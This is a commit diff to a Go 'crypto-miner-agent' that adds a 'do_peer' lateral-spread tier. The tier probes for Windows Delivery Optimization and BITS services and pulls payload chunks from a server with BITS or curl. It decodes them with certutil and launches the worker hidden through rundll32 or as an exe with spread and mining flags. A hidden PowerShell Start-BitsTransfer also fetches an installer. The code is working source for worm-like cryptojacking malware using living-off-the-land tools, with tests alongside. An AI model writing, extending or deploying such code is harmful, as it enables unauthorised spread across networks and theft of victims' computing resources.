Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:57:46 -07:00
parent e37eb24369
commit 652356bfe6
23 changed files with 624 additions and 5 deletions

View File

@@ -18,6 +18,7 @@ type DeployPlanBody struct {
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
@@ -57,6 +58,19 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
lane = strings.TrimSpace(plan.Action)
}
switch lane {
case "do_peer":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane do_peer requires staging manifest")
}
peer := strings.TrimSpace(plan.PeerGroup)
if peer == "" {
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
}
msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
if err != nil {
return "", err
}
return msg, nil
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)

View File

@@ -5,6 +5,8 @@ import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"os"
"strings"
"testing"
"crypto-miner-agent/config"
@@ -76,3 +78,76 @@ func TestRunDiscoverAndJoinFakeServices(t *testing.T) {
t.Fatalf("lane=%q detail=%q", lane, detail)
}
}
func TestRunDiscoverAndJoinDOPeerPlan(t *testing.T) {
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
FleetSecret: "fleet-test",
WorkerName: "test-worker",
ServerURL: "http://127.0.0.1:8989",
},
}
payload := []byte("do-peer-signed-plan")
sum := sha256.Sum256(payload)
hash := hex.EncodeToString(sum[:])
oldBits := doPeerDownloadBITSFn
doPeerDownloadBITSFn = func(url, dest string) error {
return os.WriteFile(dest, payload, 0o644)
}
defer func() { doPeerDownloadBITSFn = oldBits }()
fetch := func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error) {
plan := DeployPlanBody{
JoinLane: "do_peer",
Action: "do_peer",
PeerGroup: "af-peer-lab",
Manifest: &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "peer-0.bin"}},
SHA256: hash,
Dest: "do-peer-test-worker.exe",
Launch: "exe",
DeferMining: true,
SpreadInstall: true,
},
}
payloadJSON, _ := json.Marshal(plan)
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
mac.Write(payloadJSON)
return DeployPlanResponse{
OK: true,
JoinLane: "do_peer",
Plan: plan,
Signature: hex.EncodeToString(mac.Sum(nil)),
}, nil
}
oldDiscover := runServiceDiscoverFn
runServiceDiscoverFn = func(maxLANHosts int) string {
return `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.0.0.1","subnet":"10.0.0","services":[{"service_name":"DoSvc","status":"running","join_lane_candidate":"do_peer","source":"local_service"}]}}`
}
defer func() { runServiceDiscoverFn = oldDiscover }()
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
if lane != "do_peer" {
t.Fatalf("lane=%q err=%v", lane, err)
}
if err != nil {
if strings.Contains(err.Error(), "Windows-only") || strings.Contains(err.Error(), "launch") {
return
}
t.Fatalf("unexpected error: %v", err)
}
if detail == "" {
t.Fatal("expected success detail")
}
}
func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "do_peer", Action: "do_peer"})
if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
t.Fatalf("err=%v", err)
}
}

View File

@@ -0,0 +1,165 @@
package deploy
import (
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// DOPeerManifest describes Shadow Cache Handoff staging via DoSvc/BITS peer chunk pattern.
type DOPeerManifest struct {
Method string `json:"method"`
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
}
// DOPeerFromStagingManifest maps a signed deploy-plan manifest into a do_peer payload.
func DOPeerFromStagingManifest(m StagingManifest, peerGroup string) DOPeerManifest {
return DOPeerManifest{
Method: m.Method,
Chunks: m.Chunks,
SHA256: m.SHA256,
Dest: m.Dest,
Launch: m.Launch,
DLLExport: m.DLLExport,
Encoded: m.Encoded,
DeferMining: m.DeferMining,
SpreadInstall: m.SpreadInstall,
PeerGroup: peerGroup,
}
}
// Injectable download hooks for tests and alternate transports.
var (
doPeerDownloadCurlFn func(url, dest string) error
doPeerDownloadBITSFn func(url, dest string) error
)
type doPeerDownloader func(url, dest string) error
func doPeerWorkDir(cfg config.RuntimeConfig, manifest DOPeerManifest) string {
group := sanitizeName(manifest.PeerGroup)
if group == "" {
group = "local"
}
return filepath.Join(os.TempDir(), ".do-peer-"+group+"-"+sanitizeName(cfg.WorkerName))
}
// assembleDOPeerPayload downloads chunks, verifies SHA256, and returns the staged dest path.
func assembleDOPeerPayload(cfg config.RuntimeConfig, manifest DOPeerManifest, curlDL, bitsDL doPeerDownloader) (dest string, cleanup func(), err error) {
if len(manifest.Chunks) == 0 {
return "", nil, fmt.Errorf("do_peer manifest has no chunks")
}
dest, err = ResolveStagingPath(manifest.Dest)
if err != nil {
return "", nil, err
}
workDir := doPeerWorkDir(cfg, manifest)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", nil, err
}
cleanupFn := func() { _ = os.RemoveAll(workDir) }
method := strings.ToLower(strings.TrimSpace(manifest.Method))
if method == "" {
method = "bits"
}
var assembled []string
for i, chunk := range manifest.Chunks {
name, err := sanitizeStagingFilename(chunk.File)
if err != nil {
cleanupFn()
return "", nil, fmt.Errorf("chunk %d: %w", i, err)
}
localPath := filepath.Join(workDir, name)
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
cleanupFn()
return "", nil, err
}
switch method {
case "bits", "bitsadmin":
dl := bitsDL
if dl == nil {
cleanupFn()
return "", nil, fmt.Errorf("bits downloader unavailable")
}
if err := dl(chunk.URL, localPath); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("bits chunk %d: %w", i, err)
}
default:
dl := curlDL
if dl == nil {
cleanupFn()
return "", nil, fmt.Errorf("curl downloader unavailable")
}
if err := dl(chunk.URL, localPath); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
}
}
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
if err := certutilDecodePeer(localPath, decoded); err != nil {
cleanupFn()
return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
}
assembled = append(assembled, decoded)
} else {
assembled = append(assembled, localPath)
}
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
cleanupFn()
return "", nil, err
}
if len(assembled) == 1 {
if err := os.Rename(assembled[0], dest); err != nil {
if err := copyFile(assembled[0], dest); err != nil {
cleanupFn()
return "", nil, err
}
}
} else {
if err := concatFiles(dest, assembled); err != nil {
cleanupFn()
return "", nil, err
}
}
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
_ = os.Remove(dest)
cleanupFn()
return "", nil, err
}
return dest, cleanupFn, nil
}
func certutilDecodePeer(src, dest string) error {
if certutilDecodePeerFn != nil {
return certutilDecodePeerFn(src, dest)
}
return certutilDecodePeerPlatform(src, dest)
}
var certutilDecodePeerFn func(src, dest string) error
// RunDOPeerStaging verifies SHA256, assembles peer-cache chunks, and launches the worker.
func RunDOPeerStaging(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) {
if runtime.GOOS != "windows" {
return "", fmt.Errorf("do_peer staging is Windows-only")
}
return runDOPeerStagingWindows(cfg, manifest)
}

View File

@@ -0,0 +1,14 @@
//go:build !windows
package deploy
import "fmt"
// IsDOPeerReady is Windows-only (DoSvc + BITS peer cache).
func IsDOPeerReady() bool {
return false
}
func certutilDecodePeerPlatform(src, dest string) error {
return fmt.Errorf("certutil decode unavailable")
}

View File

@@ -0,0 +1,114 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestDOPeerRejectsPathTraversal(t *testing.T) {
manifest := DOPeerManifest{
Chunks: []StagingChunk{{URL: "http://127.0.0.1/a", File: "chunk.bin"}},
SHA256: strings.Repeat("a", 64),
Dest: "../../outside.exe",
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "test"}}
_, _, err := assembleDOPeerPayload(cfg, manifest, fakeDownload, fakeDownload)
if err == nil || !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("expected path traversal error, got %v", err)
}
}
func TestDOPeerSanitizeChunkFilename(t *testing.T) {
got, err := sanitizeStagingFilename("../peer-chunk.bin")
if err != nil {
// stripped traversal components may still yield safe name
if got != "" && strings.Contains(got, "..") {
t.Fatalf("leaked traversal: %q", got)
}
return
}
if strings.Contains(got, "..") {
t.Fatalf("sanitize leaked traversal: %q", got)
}
}
func TestDOPeerAssembleWithFakeDownloaders(t *testing.T) {
dir := t.TempDir()
chunkPath := filepath.Join(dir, "peer-0.bin")
payload := []byte("shadow-cache-handoff-payload")
if err := os.WriteFile(chunkPath, payload, 0o644); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(payload)
destRel := filepath.Join("af-peer", "worker.exe")
fakeDL := func(url, dest string) error {
if url != "file://chunk" {
t.Fatalf("unexpected url %q", url)
}
return copyFile(chunkPath, dest)
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}}
manifest := DOPeerManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "file://chunk", File: "peer-0.bin"}},
SHA256: hex.EncodeToString(sum[:]),
Dest: destRel,
PeerGroup: "lan-group-1",
}
resolvedDest, err := ResolveStagingPath(destRel)
if err != nil {
t.Fatal(err)
}
_ = os.Remove(resolvedDest)
manifest.Dest = destRel
staged, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL)
if err != nil {
t.Fatal(err)
}
defer cleanup()
if staged != resolvedDest {
t.Fatalf("dest=%q want %q", staged, resolvedDest)
}
if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
t.Fatal(err)
}
}
func TestDOPeerSHA256MismatchRejected(t *testing.T) {
dir := t.TempDir()
chunkPath := filepath.Join(dir, "peer-0.bin")
if err := os.WriteFile(chunkPath, []byte("wrong-bytes"), 0o644); err != nil {
t.Fatal(err)
}
fakeDL := func(url, dest string) error {
return copyFile(chunkPath, dest)
}
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "peer-test"}}
manifest := DOPeerManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "peer-0.bin"}},
SHA256: strings.Repeat("b", 64),
Dest: "worker.exe",
}
_, cleanup, err := assembleDOPeerPayload(cfg, manifest, fakeDL, fakeDL)
if cleanup != nil {
defer cleanup()
}
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
t.Fatalf("expected sha256 mismatch, got %v", err)
}
}
func fakeDownload(url, dest string) error {
return os.WriteFile(dest, []byte("x"), 0o644)
}

View File

@@ -0,0 +1,101 @@
//go:build windows
package deploy
import (
"fmt"
"os/exec"
"strings"
"crypto-miner-agent/config"
)
// IsDOPeerReady reports whether DoSvc and BITS are available for shadow cache handoff.
func IsDOPeerReady() bool {
if !serviceRunning("DoSvc") {
return false
}
if _, err := exec.LookPath("bitsadmin.exe"); err != nil {
if st := serviceStatus("BITS"); st != "running" && st != "started" {
return false
}
}
return true
}
func serviceRunning(name string) bool {
return serviceStatus(name) == "running" || serviceStatus(name) == "started"
}
func serviceStatus(name string) string {
out, err := HiddenOutput("sc.exe", "query", name)
if err != nil {
return ""
}
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(strings.ToUpper(line), "STATE") {
upper := strings.ToUpper(line)
if strings.Contains(upper, "RUNNING") {
return "running"
}
if strings.Contains(upper, "STOPPED") {
return "stopped"
}
}
}
return ""
}
func certutilDecodePeerPlatform(src, dest string) error {
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
}
func runDOPeerStagingWindows(cfg config.RuntimeConfig, manifest DOPeerManifest) (string, error) {
curlDL := doPeerDownloadCurlFn
if curlDL == nil {
curlDL = downloadChunkCurl
}
bitsDL := doPeerDownloadBITSFn
if bitsDL == nil {
bitsDL = downloadChunkBITS
}
dest, cleanup, err := assembleDOPeerPayload(cfg, manifest, curlDL, bitsDL)
if err != nil {
return "", err
}
defer cleanup()
method := strings.ToLower(strings.TrimSpace(manifest.Method))
if method == "" {
method = "bits"
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched rundll32 %s",
len(manifest.Chunks), method, manifest.PeerGroup, dest, export), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("do_peer staged %d chunk(s) via %s peer_group=%s to %s; launched exe %v",
len(manifest.Chunks), method, manifest.PeerGroup, dest, args), nil
}
}

View File

@@ -45,6 +45,14 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
return true, "bits/curl install hook queued"
case "do_peer":
if !IsDOPeerReady() {
return false, "DoSvc not running or BITS unavailable"
}
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/get?os=windows"
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
case "smb":
if !cfg.AutoSpread && !cfg.ShareSpread {
go RunSpreadOnce(cfg)

View File

@@ -11,6 +11,7 @@ var DefaultLotlOnionTiers = []string{
"powershell",
"dotnet",
"bits_curl",
"do_peer",
"smb",
"winrm",
"linux",
@@ -22,7 +23,7 @@ func NormalizeLotlTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {

View File

@@ -18,6 +18,7 @@ func TestJoinLaneForSignal(t *testing.T) {
{"sshd", 22, "linux"},
{"docker", 0, "docker"},
{"CCMEXEC", 0, "gpo"},
{"DoSvc", 0, "do_peer"},
{"gitlab-runner", 0, "bits_curl"},
{"jenkins", 8080, "bits_curl"},
{"unknown-svc", 9999, ""},

View File

@@ -16,7 +16,7 @@ $p = [ordered]@{ services = @(); hints = @() }
$watch = @(
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
'OpenSSH SSH Server','cloudflared','gpsvc'
'OpenSSH SSH Server','cloudflared','gpsvc','DoSvc','BITS'
)
foreach ($n in $watch) {
try {

View File

@@ -48,6 +48,8 @@ func JoinLaneForSignal(serviceName string, port int) string {
return "powershell"
case strings.Contains(name, "dotnet"):
return "dotnet"
case strings.Contains(name, "dosvc") || strings.Contains(name, "delivery optimization"):
return "do_peer"
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
return "bits_curl"
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):

View File

@@ -27,6 +27,7 @@ type StagingManifest struct {
Encoded bool `json:"encoded"` // chunks are base64; decode via certutil
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
}
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.

View File

@@ -48,6 +48,7 @@ var DefaultReconTiers = []string{
}
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
// Deploy success is spread-only; terminal goal is always mining via startMiningWhenReady().
var DefaultDeployLanes = []string{
"discover_and_join",
"docker",
@@ -55,6 +56,7 @@ var DefaultDeployLanes = []string{
"powershell",
"dotnet",
"bits_curl",
"do_peer",
"smb",
"winrm",
}